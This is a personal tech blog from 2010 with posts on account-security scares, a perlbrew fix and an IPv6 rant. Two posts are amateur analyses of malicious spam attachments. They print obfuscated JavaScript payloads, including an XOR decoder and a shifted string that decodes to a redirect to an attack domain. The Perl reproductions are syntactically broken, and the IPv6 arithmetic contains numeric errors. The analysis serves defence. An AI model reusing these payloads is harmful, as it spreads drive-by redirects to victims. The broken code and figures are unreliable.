Monday, December 13, 2010

Today has been one of those days...

It's been one of those days where it just feels as if there's been...  a disturbance in the force.  Not the extinguishing of millions of outcrying voices, more the subtle murmur of apology from the pickpocket who just accidentally bumped into you.

It started this morning.  My BlackBerry notifies me that it can no longer access my gmail account.  I log in from my laptop and it claims there has been suspicous activity with my account and I must enter my cell phone number to proceed with account revalidation.  I do, change my password, and successfully access my gmail account.  I hit the page where Google logs ip addresses used for accessing my gmail account and see nothing untoward.  My laptop from home and work, my BlackBerry, and nothing more.  When my wife's gmail account was hacked last month, it clearly showed an ip address from China, so the event was fresh in my mind and I knew exactly what the suspicious activity would look like.  (Unfortunate that Google didn't disable her account in a similar fashion to how mine was disabled before her account was used to send messages to her entire addressbook containing a malicious link.)  Presumably, Google has just today tightened security up a bit more. Since my BlackBerry uses BIS to hit gmail, it appears as if the connection is coming from a Canadian ip address, thousands of miles from my current location.  This seems the likely culprit of the suspicious activity.  I was due for a password change anyway and LastPass generates beautiful ones.  No harm, no foul.

Next, a message from my wife.  She asks about a small charge appearing on our account from a bookstore in Colorado.  Mental red flag is on its way back up even before it's come all the way back down from the last incident.  Start investigating, turns out it was just a book my wife ordered through the local school book fair, which is operated by a company in CO.  No harm, no foul.

Enter Twitter.  LastPass, which normally does a fine job of handling Twitter logins automatically, balks.  Invalid password.  W. T. F.  The red flag goes up like it was tied to the camel of a radical middle eastern zealot running late for a good stoning.  I log in and start analyzing my account for wrongdoing.  I notice the password it attempted to use was the wrong one.  My wonton use of LastPass anywhere and everywhere across all my operating systems, (Linux, Win7, WinXP, BlackBerry) and all the browsers I use regularly, (Chrome dev, Chrome canary, Firefox 4, Safari, Opera 10, Opera 11, occasionally IE9), caused a little bit of a sync problem when last I changed my twitter password.  No harm no foul.

Just for the sake of giving my red flag a rest, I went and changed several of my important passwords and wanted to take the time to encourage you to do the same.  Lifehacker has posted this handy guide in response to the Gawker hack that occurred recently.  Take a moment to read through it and give your passwords and accounts a good once-over.  Lifehacker: How to Audit and Update Your Passwords

Friday, October 29, 2010

Quick tip for openSUSE users of App::perlbrew...

Ever since I installed 11.2 on my ultra40 a few months ago, perlbrew has been busted for me.  After failing, the build log always ended with:

ODBM_File.xs:124: error: too few arguments to function ‘dbmclose’

I finally took the trouble to fix it.  After some googling, I saw that others on opensuse had seen this while compiling on their own, but didn't readily see any search results for how to easily fix it with an automated builder like perlbrew.  Turns out the secret sauce isn't that difficult since perlbrew with happily pass through any perl building arguments:

perlbrew install perl-5.12.2 -D noextensions=ODBM_File

Monday, September 27, 2010

Teh maths is fun... (ipv6 rant)

My company just got it's ipv6 allocation.  They gave us a /32.  Let's walk through this math for those of you watching from home.

/32 is the number of bits.  The full length of an ipv6 address is 128 bits.  Represented in binary, this means that the highest possible number is all 1's, for a total of 128 of them:




To convert this number into decimal, you start way over at the right, and continuously increment by the powers of 2.  The first position is 1, the second is 2, the third is four, the fifth is 8, the sixth is 16, the seventh is 32, and so on and so forth.  If you bother to follow those powers of two all the way out to 128 bits, you end up with a really big number.  170,141,183,460,469,000,000,000,000,000,000,000,000 to be exact.  This is the maximum number of ip addresses able to be assigned out of the ipv6 pool.

Our allocation of a /32 means that, starting from the left, you count out 32 binary bit positions and flip them to a 1, and the remaining 96 binary positions are all 0.  This gives us a total allocation of 79,228,162,514,264,300,000,000,000,000 ip address.  If you were to write me a check giving me a dollar for every one of our ip addresses, you'd need a check that was about 3 feet wide so that you could write out the number in english.  You'd be writing me a check for seventy-nine octillion, two hundred twenty-eight septillion, one hundred sixty-two sextillion, five hundred fourteen quintillion, two hundred sixty-four quadrillion, three hundred trillion dollars.

So, my company has personally been given enough ipv6 addresses to assign every single cell in your body well over 1 quadrillion ip addresses.  Every. Single. Cell.

From what I've been hearing, this is the norm.  They gave one guy a /48 for his websites, of which he has a small handful.  One septillion ip addresses.  For a few websites.

Let's extrapolate that our /32 is the norm for anyone needing more than a handful of ip addresses.  Divide the biggest possible 128 bit number by our /32 allocation.


÷ 79,228,162,514,264,300,000,000,000,000



That's the kind of number you don't need any help spelling out.  A little better than 2 billion.  How many ipv4 addresses are there?  Double that.  4 billion, though the way ipv4 has been carved up means that substantially less than that is usable.

It took us 30 years to approach exhaustion of the ipv4 space, though the last 15 years has seen such an exponential increase, the first 15 years is nothing but a drop in a bit-bucket in comparison.

I've argued repeatedly that there's so much ipv4 space that is absolutely WASTED that there really isn't that much of a crunch if they started enforcing utilization standards.  MIT, for example, has 16 million public ipv4 addresses of their very own.  Why?  Because, when it was allocated to them so many years ago, they could get away with it.  16 million.  For a college.  Do they need 16 million publicly facing ip addresses?  NO.

And, of course, there's no place like is there?  Another 16 MILLION ip addresses wasted on localhost.  Why?  Because back when it was assigned, they could.  Who cares, right?  When there's 4 billion addresses, what's 16 million here or there, just between friends?

Xerox, 16 million.  HP, 16 million.  Ford, 16 million.  Halliburton, 16 million.  Prudential, 16 million.  Merck, 16 million.

Do any of these companies need 16 million publicly facing ipv4 addresses?   NO.  That's over 83 million ip addresses wasted right there.  Yes, HP recently purchased a company that produced cell phones.  Do those cell phones need PUBLIC ipv4 addresses?  NO.  The specifics of the wastefulness of the ipv4 space are a separate rant, though.

My point is that this pattern of wastefulness is not only continuing with ipv6, it's getting much, much WORSE.  Insanely sized allocations to anyone who asks for a few ips?  Really?  What good is having this seemingly vast amount of address space, if (going back to the handful of websites example) the wastefulness of this space increases by not 1 or 2 or 10, but TWENTY-FIVE orders of magnitude?

The view from this boat looks a lot like it did 30 years ago.

Friday, September 24, 2010

More weaponized javascript email attachments reverse engineered...

My reverse engineering of the latest rash of spam attachment scripts:




use strict; 
use warnings;                                                                                                                                                                         

use URI::Escape;

my $js =  '%66%75%6E%63%74%69%6F%6E%20%65%5F%65%28%65%29%7B%65%3D%75%6E%65%73%63%61%70%65%28%65%29%3B%70%3D%22%54%4F%45%4D%50%4A%5A%4D%4C%4B%50%51%42%4E%42%22%3B%73%3D%22%22%3B%73%6C%3D%6E%65%77%20%41%72%72%61%79%28%29%2C%6B%3D%30%2C%6A%3D%30%3B%66%6F%72%28%69%3D%30%3B%69%3C%65%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%7B%63%3D%65%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%3B%69%66%28%63%3C%31%32%38%29%7B%63%3D%63%5E%70%2E%63%68%61%72%43%6F%64%65%41%74%28%6A%25%70%2E%6C%65%6E%67%74%68%29%3B%6A%2B%2B%3B%7D%73%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%63%29%3B%69%66%28%73%2E%6C%65%6E%67%74%68%3E%38%30%29%7B%73%6C%5B%6B%2B%2B%5D%3D%73%3B%73%3D%22%22%7D%7D%73%3D%73%6C%2E%6A%6F%69%6E%28%22%22%29%2B%73%3B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%73%29%7D';

print uri_unescape( $js );
print "\n";

# the $js string is a function named e_e: 
#    function e_e(e){e=unescape(e);p="TOEMPJZMLKPQBNB";
#    s="";sl=new Array(),k=0,j=0;for(i=0;i80){sl[k++]=s;s=""}}s=sl.join("")+s;document.write(s)}

# My bad perl reproduction...
sub e_e {

    my $string = shift;
    my $e = uri_unescape($string);

    my $p = "TOEMPJZMLKPQBNB";

    my $s = "";

    my @sl;
    my $k = 0;
    my $j = 0;

    my @split = split( //, $e );
    my @psplit = split( //, $p );

    for( my $i = 0; $i < length( $e ); $i++ ){

        my $c = ord($split[$i]);

        if ( $c < 128 ) {
            my $result = $psplit[$j % length($p)];
            $c = $c ^ ord( $result );

        $s .= chr($c);

        if( length($s) > 80 ) {
            $sl[$k++] = $s;
            $s = "";

    #s = sl.join("")+s;
    $s .= join( '', @sl );

    print $s;
    print "\n";


#This string is passed to the e_e:
e_e('ts%28%28%24%2Bz%258? |%27?7%3D9xo%22%2F%3C?%2988sb%2D%2D%3A%3B #%24wx%7Dw%3E%22%3D%7F&6 ?%7Fb%7F%3E2%28*9?%3C#%27%2C1%3Dk%2E?%27u|b#%24%3C%2Elb%7Bqem%5D@WGp?13%2E%2Bb#&!98wx||%7Busb%2C%2D&%2B ?mhjorw%24#b%2C%257 %29%22%22wxny~fgzv%60t%2E%29%247%24go%2F%2E%3E%25%27%3C%60js1%29nv%3Bm%24957%7Fl* %3B5w%7Fe%2D%3A%3Be %24%2E%221%3B%291c3%257b%24?%3D%3D2!51%3Dk%25%24%27xsp%2D??6n%245%2C pr^K%28%24%2D%27|q%0A%2B%2E%22*1%243%2Bvm?*%3E%22o%3D%27&&#op%295!#9msa^H^D^R                                                        ^C^Krj%29%246%2Emso%7F%60j^[%2D%24#j%0D%28%2Ek0%25%2Bb#%2E6m 859%29%28%244&n %2Do%0D^Y^]^F%0A%22%3B%2E%22%7Dbn^A8&&&p%22??%29k%24%3Eb^\%273&6958fb*                        %24%3E%25|rm5qyb%24%2Edqc?%22o~a65%2D%29%28nGP');

# produces a metarefresh to

Tuesday, September 21, 2010

Don't open any unfamiliar attachments today!

The mail servers here started getting inundated with some weaponized email spam about invoice attachments.

The decoded contents of this spam contains the following javascript:


var s="ifmmp!csjbo!=nfub!iuuq.frvjw>#sfgsfti#!dpoufou>#1<vsm>iuuq;00uvsltbhmjltfo/psh/us0y/iunm#!0?!czf!csjbo";

m=""; for (i=0; i<s.length; i++) { if(s.charCodeAt(i) == 28){  m+= '&';} else if (s.charCodeAt(i) == 23) {  m+= '!';} else {  m+=String.fromCharCode(s.charCodeAt(i)-1); }}document.write(m);


When I reverse engineered it in perl it produces the following result:



my $s = 'ifmmp!csjbo!=nfub!iuuq.frvjw>#sfgsfti#!dpoufou>#1<vsm>iuuq;00uvsltbhmjltfo/psh/us0y/iunm#!0?!czf!csjbo';

push @new, chr( ord( $_ ) - 1 ) for split( //, $s );

print join( '', @new ) . "\n";




hello brian <meta http-equiv="refresh" content="0;url=" /> bye brian


I rigged up our name servers so that when one of our customers tries to hit that domain, it just redirects to a web page indicating that it was blocked.

Tuesday, August 31, 2010

What color was George Washington's favorite black horse?

So I downloaded Trillian today.  I haven't used it for a long time and I didn't know that you could download and use it for free.  I get it up and running, link up all my various accounts, and start using it. 

Not long later, I notice in my gmail mailbox, there's a message from trillian to confirm my email address.  This would be the gmail address attached to my trillian account.  The one where, by virtue of setting up your google talk account, logs into your gmail account and starts informing you about all the new and unread messages you have. 

Umm, trillian, if you can check your own damn confirmation message YOURSELF, do you really need me to click anything?

Sunday, July 11, 2010

Revoking internet access of people who can't remember their own damn email address. Become a fan!

My gmail address is rather simple.  Maybe a little too simple.  First initial, last name.  That's it.  Consequently, my spam folder is always full.  I don't see the vast majority of this, so it's a relatively minor annoyance at best.

But there's another type of unwanted, unsolicited mail I get that can't be avoided so easily.  Mail from people who can't enter their own email address correctly.  My last name is very common, so it's a phenomenon that started for me years ago.  Back then, when it was relatively minor, I used to actually bother to forward the messages to their rightful owner, when I could determine it.  Nowadays, this is starting to happen literally every day.  Every.  Single.  Day.

Tuesday, July 6, 2010

Google Wah.

When I recently found out that anyone could register a .tk domain for free, I of course had to go register one.  

Friday, July 2, 2010

KDE3 Users Unite!

If, like me, you're a long time KDE user and don't like the direction the new KDE4 is headed, someone has taken up the reigns!


Saturday, March 27, 2010